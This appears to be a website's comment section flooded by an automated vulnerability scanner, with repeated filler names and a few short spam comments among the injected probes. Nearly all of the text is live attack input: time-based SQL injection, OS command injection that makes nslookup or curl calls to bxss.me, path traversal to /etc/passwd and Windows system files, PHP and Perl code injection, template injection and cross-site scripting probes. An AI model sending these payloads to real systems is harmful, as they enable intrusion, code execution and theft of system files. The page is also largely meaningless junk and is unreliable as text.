XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
|(nslookup -q=cname hitoipqmpahbb205b3.bxss.me||cu
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     <%={{={@{#{${dfb}}%> |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     -1 OR 2+598-598-1=0+0+0+1 -- |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     '.gethostbyname(lc('hityr'.'cronnpujfaac9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(67).chr(101).chr(88).' |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFYWM3rngT9'; waitfor delay '0:0:15' --
    
|
@@qe4aO
    
|
XcwJRDFY
    
|
XcwJRDFY
     products.aspx/. |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     ../../../../../../../../../../../../../../etc/passwd |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     /../../../../../../../../../../windows/system32/BITSADMIN.exe |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     `(nslookup -q=cname hitedgwbdbwjk70803.bxss.me||curl hitedgwbdbwjk70803.bxss.me)` |
XcwJRDFY
    
|
XcwJRDFY
    
|
))))))))))))))))))))))))))))))))))))))))))))))))))
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
file:///etc/passwd
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     '.print(md5(31337)).' |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
'"()&%
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY'"()&%
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     bxss.me/t/xss.html?%00 |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
&n990631=v972115 |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     &echo pggyrf$()\ uxooxv\nz^xyu||a #' &echo pggyrf$()\ uxooxv\nz^xyu||a #|" &echo pggyrf$()\ uxooxv\nz^xyu||a # |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     products.aspx |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY9500317
    
|
XcwJRDFY
    
|
XcwJRDFY
     ^(#$!@#$)(()))****** |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
bxss.me/t/xss.html?%00
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY-1 waitfor delay '0:0:15' --
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
-1)) OR 161=(SELECT 161 FROM PG_SLEEP(15))-- |
XcwJRDFY
    
|
;(nslookup -q=cname hitphwulocgum9c1b6.bxss.me||cu
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     4ufC8Jrp |
XcwJRDFY
     bfgx5964��z1��z2a�bcxhjl5964 |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
+response.write(9144069*9341836)'
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
'.print(md5(31337)).'
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
";print(md5(31337));$a="
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     +response.write(9074671*9705604)' |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
Idalia
    
IJWTS wow! Why can't I think of tihgns like that? |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
"+response.write(9144069*9341836)+"
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
&echo cryoep$()\ yfhctd\nz^xyu||a #' &echo cryoep$
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
../../../../../../../../../../../../../../windows/
    
|
XcwJRDFY
    
|
XcwJRDFY
     1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%> |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     ) |
XcwJRDFY
     &nslookup -q=cname hittyxhzohsizaf92e.bxss.me&'\"`0&nslookup -q=cname hittyxhzohsizaf92e.bxss.me&`' |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY0"XOR(if(now()=sysdate(),sleep(15),0))XOR"
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     &(nslookup${IFS}-q${IFS}cname${IFS}hitbvxsknzdtr6fbc1.bxss.me||curl${IFS}hitbvxsknzdtr6fbc1.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitbvxsknzdtr6fbc1.bxss.me||curl${IFS}hitbvxsknzdtr6fbc1.bxss.me)&`' |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
Hopps
     It's about time somneoe wrote about this. |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
!(()&&!|*|*|
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
$(nslookup -q=cname hitbjbhpgdbhj42a4d.bxss.me||cu
    
|
Tarun
     At last! Somehtnig clear I can understand. Thanks! |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
../../../../../../../../../../../../../../etc/pass
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
'||sleep(27*1000)*lefylk||' |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
"+"A".concat(70-3).concat(22*4).concat(121).concat
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
-1 waitfor delay '0:0:15' -- |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFYcRR1sbVO')) OR 741=(SELECT 741 FROM PG_SLE
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
'+'A'.concat(70-3).concat(22*4).concat(101).concat
    
|
HttP://bxss.me/t/xss.html?%00
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
'A'.concat(70-3).concat(22*4).concat(97).concat(80
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     dfb{{98991*97996}}xca |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
../XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     gethostbyname(lc('hitos'.'swkfwrrea85d6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(65).chr(118).chr(87) |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     12345'"\'\");|]* {
< |